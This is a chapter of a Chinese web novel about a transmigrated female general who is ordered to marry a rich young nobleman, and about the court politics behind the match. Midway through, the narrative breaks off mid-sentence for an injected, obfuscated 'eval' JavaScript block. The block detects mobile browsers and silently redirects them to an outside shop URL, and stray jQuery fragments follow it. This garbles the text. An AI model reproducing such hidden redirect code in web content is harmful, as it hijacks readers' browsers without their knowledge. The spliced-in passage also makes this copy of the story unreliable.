送走了这两个笑面虎女官,李明珠脱力般瘫在椅子上,黄云旌见她那如丧考妣的模样,竟觉得有些好笑,忍不住揶揄道:“升官娶夫,这两件大好事落到别人头上,还不知道得多高兴,怎么到了你这跟受了多大委屈似的。我听闻那蓝家公子可是姿容绝丽,又背靠轩辕氏,富可敌国,娶到这么个金龟婿,如此好的福气,还不珍惜?”


    李明珠没好气地道:“你要是羡慕,这福气给你要不要?”


    “别别别,我家里那一夫一侍,已经够闹腾了,府里每天都乌烟瘴气的。”闻言,黄云旌吓得连连摆手。


    随后她敛去笑容,坐在李明珠身旁,正色道:“别光想着赐婚的事了,你可有觉察出你这次升迁也不同寻常?”


    “当然感觉到了啊!好端端的,没打仗也没立功,圣上突然想起封赏我,怎么怎么奇怪。”


    突然像是想到了些什么,她微微蹙眉:“你说是不是有人在皇帝面前提起我了?或是我太厉害被看到了?可是,从前的功劳该赏也赏了,不应该等到现在啊。”


    见面前少女仍没想到关键上,黄云旌叹了口气,耐心解释道:“你从前不在官场,想必不甚了解。圣上升你为正四品宣威将军,听上去风光无限,品级也比现在高,但其实只是个虚职,手底下无一兵一卒。”


    顿了顿,她继续道:“至于神机营,虽说与金吾卫一样,都是皇城禁军、天子亲卫,但却不直受皇上命令,上有指挥使统帅全军,下有佥事负责练兵,你这个同知夹在中间,也就是名头好听罢了。所以,若是我没猜错,你应该是碍了某些人的眼,又或是圣上想拿你做筏子,削弱蓝家的势力。”


    “拿我做筏子?就我这五品小官,一没银子二没背景三没权力的,还能削弱蓝家的势力?”李明珠不可思议反问。


    见自己都把话说得这么明白了,对方还是云里雾里,黄云旌恨铁不成钢地拿手点指她额头,“你呀你,战场上那么精明,怎么轮到自己个儿的事上就这么糊涂呢!就是因为你没钱没权没背景,圣上才放心让你来掌控蓝家这艘大船。


    自从蓝金和轩辕澈去了后,那两家万贯家财几乎都掌控在蓝玄这个男子手中,这么大的一块肥肉,谁不想上去咬一口?”


    “去世?!你方才说,蓝金和轩辕澈死了?”李明珠被这消息震得愣在原地,问完,又连忙补充道:“是户部尚书蓝金吗?”


    黄云旌有些无奈:“还能是哪个蓝金?就是前户部尚书,左相的内侄女。她身子一直不大好,三年前病逝了,她的夫郎轩辕澈也在七日之后殉妻而去,只留下当时还未加冠的儿子。这事当时在京城传的沸沸扬扬,满朝文武皆知,连我在辽州都有所耳闻,怎得你的消息如此闭塞?”


    但随后,她便想起,三年前蓝金去世时,李明珠正带兵与草原人作战,那场仗打了四个月,深入草原腹地三百余里,打得艰难。


    虽说她们有两万大军,但毕竟是在人家的地盘上,不熟悉地形,吃了不少亏,身为主帅的李明珠也受了伤,回来养了好长时间才痊愈。加上辽州是边境,消息也慢,蓝金的死在京城掀起轩然大波,但在辽州这远离权力中心的地方,也就是让人唏嘘一场罢了。


    看李明珠还被这消息惊得回不过神,黄云旌又是微微一叹。蓝金此人,也曾一时风头无两,出身士族之首的蓝家,却不愿受家族荫蔽,一路勤学苦读,仅二十二岁就中了探花。偏还不止步于此,后来云州有乱党作祟,她仅带千人就平了两万余人的叛乱,一战成名,受封户部尚书兼领金吾卫指挥使,那时她才二十五岁,试问当时谁人不知,蓝尚书容仪甚伟美姿容,少有人杰表。


    无数高门贵子皆爱慕,就连今上亲弟,当年的端慧皇子,也自请出降,想要下嫁于她。蓝金却直接长跪于金銮殿,自述德容有亏配不上皇子,硬生生迫使先帝打消了赐婚的主意。


    那时人们都以为蓝金一心立业,无意于情爱之事。可谁曾想,没过多久,就传出蓝尚书将要大婚的消息,众人大惊,尤其是那些原本属意于蓝金的男子们,更是一口银牙咬碎,四处打听,想知道究竟是怎样的男儿,能得她的青眼。直到后来轩辕澈家世大白于天下时,那轩辕氏独子的名头,才让他彻底堵住了悠悠众口。


    也许是往日的蓝金风头实在太盛,如今人死了,再次回忆起来,连黄云旌这个与她素无瓜葛的人,都忍不住感到一丝怅然。


    伸手为李明珠倒了杯茶,黄云旌轻声道:“明珠,我知晓你一向重感情,但此事牵连甚广,如今你已被拉入局中,圣上旨意一下,迎娶蓝玄,就是板上钉钉。其中轻重,你可知晓?


    上个月蓝玄孝期刚过,就有无数家族上赶着提亲,士族、商贾,甚至宗室女,但凡有点门路能跟尚书府沾上点边的人家,都想分一杯羹。


    但所有递到蓝家的庚帖,都被蓝公子找由头拒了,有几个身份贵重的,闹到宫里求圣上赐婚,却也无一例外,被堵了回去。你可知为何?”


    李明珠偏过头,清澈的眸子望向她,看得黄云旌心头蓦地一软,也没等她回答,便继续道:“因为这些来求亲的女子,都是豪门望族之女,家世背景盘根错节,若真让她们娶了蓝玄,那轩辕氏的钱袋子,可就全进了世族手中。


    我朝自太祖开国以来,才历经三代,皇族根基不如那些个百年世家,若是那富可敌国的财富被世家握在手中,只怕,现在这种君臣和睦的局面,很快就不复存在了。”


    说到这些话的时候,黄云旌的视线透过窗棂望向远方,夜幕降临,远处的松河在月光照耀下宛如一条发光的白练,静谧安逸。


    其实,她黄云旌若只是个旁观者,那么身为忠于皇帝的鹰犬,不应干涉如此多,只需冷眼旁观李明珠这个棋子,一步步走向提前布好的棋局之中。但她不是旁观者,身侧之人是曾同她经历生死的姐妹。


    良久,她唇畔扯出一抹笑,随后转头,定定看着李明珠:“而你,背景干净,无钱无势,届时,圣上只要拿捏住你,就能拿捏蓝家和轩辕氏的金山银海。明珠,你现在已经身处漩涡之中,狡兔死,走狗烹。你于圣上而言,于江山而言,只是蝼蚁,但也许对那蓝公子来说,妻主为天。所以必要之时,可向蓝家和轩辕氏投诚,世家之力,未必不可保你。”


    从帐中出来,外面已是月上中天,辽州的夏夜并不闷热,反而有些微风。带着些凉意的风吹在脸上,让李明珠混沌了一晚上的思绪逐渐变得清明。


    她一个人漫无目的地走着,今夜是她自穿越以来的六年多里,第一次生出迷茫的情绪。意识到这一点后,她突然有些想笑,扯了扯嘴角,却没笑出来。


    从前做乞丐当土匪时,每天想的最多的,就是什么时候能洗澡能吃肉,本着过一天算一天的心态,不也苟了那么久?怎得如今当了几年将军,竟有了些退意?


    不,将军怎能有退意!,李明珠,想想罢,这几年里,你多少次陷入险境,多少次受伤濒死,多少次敌众我寡疲惫不堪,这些时候你都没有后退过一步,如今不过是知道那桩婚事,是想利用她拿捏蓝玄的筹码,便生出这可笑的退意!你能退到何处呢?从六年前起,你就已经是孤身一人了,退一步便是粉身碎骨!


    江州城。


    蓝宅。


    蓝金身故后,圣上为表贤明,也为表对士族的优待,一直没收


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233067|197236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回尚书府,准许蓝玄继续住在府里,但新任户部尚书上任后,便被撤了原本的匾额,又因蓝家本家也在京城,是为蓝府,故而只能称“蓝宅”。


    虽已是子时,蓝宅内院依旧灯火通明,还不时传来一阵阵瓷器碎裂的声音,院外的仆从们跪了一地,皆瑟瑟发抖,却不敢抬头瞧一眼盛怒中的主子。


    “哗啦——嚓——”


    又是一声脆响,价值万两白银的缠枝莲纹双耳玉瓶落地,瞬间四分五裂,而此刻,屋内的芙蕖国进贡的地衣上,已躺着无数玉器,价值几千两黄金。可这些玉器的主人,却似乎无知无觉般。


    就在蓝玄再一次举起一枚玉瓶之时,他的贴身小侍岚小山、岚小风哭着扑上前来,抱住了盛怒中的蓝玄:“公子,您别这样,你打奴才吧,别伤了自己的身子。”


    蓝玄被桎梏住,使力便想挣脱,但那侍从毕竟是两个人,他又刚发泄了半天,难免脱力。也便不挣扎了,扔了手中玉瓶,那双原本琥珀色的眸子此刻猩红一片,却始终倔强地没有落下泪来。


    两个侍从感觉到自家主子的身子渐渐滑落,心中大惊,抱得更紧了些,岚小山带着哭腔向外喊道:“主子要倒了,还不快过来帮忙!再拿了牌子去宫里请太医!”


    蓝玄闻言,使尽全身力气把岚小山推倒在地,厉声道:“不许去!谁要是踏出府门一步,即刻乱棍打死扔出去!”


    说罢,他闭了闭眼,许是方才情绪太过激动,眼前一阵漆黑,好一会儿,似乎是好了一些,他缓缓吩咐旁边侍从:“扶我到榻上去。”


    几个近身小奴忙搀扶着蓝玄,缓缓往榻边挪去,毕竟是尚书府的奴才,做事麻利,分工也明确,等蓝玄上榻安顿好时,地上的碎瓷片已经被打扫干净,连地衣都换过了。岚小山端来一盆温水给蓝玄擦脸擦手。


    众人各司其职,屋里虽然忙碌,却没有一丝声响。江州的盛夏很是闷热,但屋里放了冰鉴,还有小侍在一旁轻轻打扇,所以此时屋子里很是凉爽舒适,在这样的氛围之下,蓝玄暴戾的情绪也得到了缓和。


    他合眼躺在床上,心中却想着今日的圣旨。那圣旨来得出人意料,却又似乎在情理之中。


    李明珠、虎烈将军,曾是多么熟悉的字眼。似乎又把他拉回到了那个夜晚。那双温热的手拉着他。在兴隆帮的山上飞奔......


    不,蓝玄。这都是那萧遥的阴谋。你不能上当,你不能像那人一样,把自己捆绑在一个女人的后宅之中,日日盼着妻主施些雨露。


    他猛地睁开双眼,透过窗棂看向如墨汁般的夜色,平静开口:“小风,你去找凌管事,让她找门路打听打听那位虎烈将军,哦,不,现在应该称宣威将军了,去问问她何时进京,咱们也得准备准备。”


    ......


    花开两朵,各表一枝,就在蓝玄想探听李明珠消息之时,李明珠也同样派小苏先一步去江州,一是去新宅子里打扫收拾,二是秘密探听蓝家公子的事情。


    因着这次圣上催得紧,小苏上路没几日,李明珠便挑了一个惠风和畅的日子踏上了回京之路。


    当年来辽州时,他们一行三人驾着马车,陆陆续续走了两个多月。而如今,却只有一人一马飞奔于巷道林间。


    那日接完旨,与黄云旌谈到深夜,又一个人独自漫无目的走了许久,等终于想清楚自己接下来要走的路时,已是东方既白。待回过神来时,发现自己不知何时走到了将军府的门前。


    原本自从当年知晓白玉尘的心思后,除了必要的时候,她几乎不怎么回来,但想到那两道圣旨的内容,李明珠想了想,还是进去一趟,很多事要找白灵商议一下。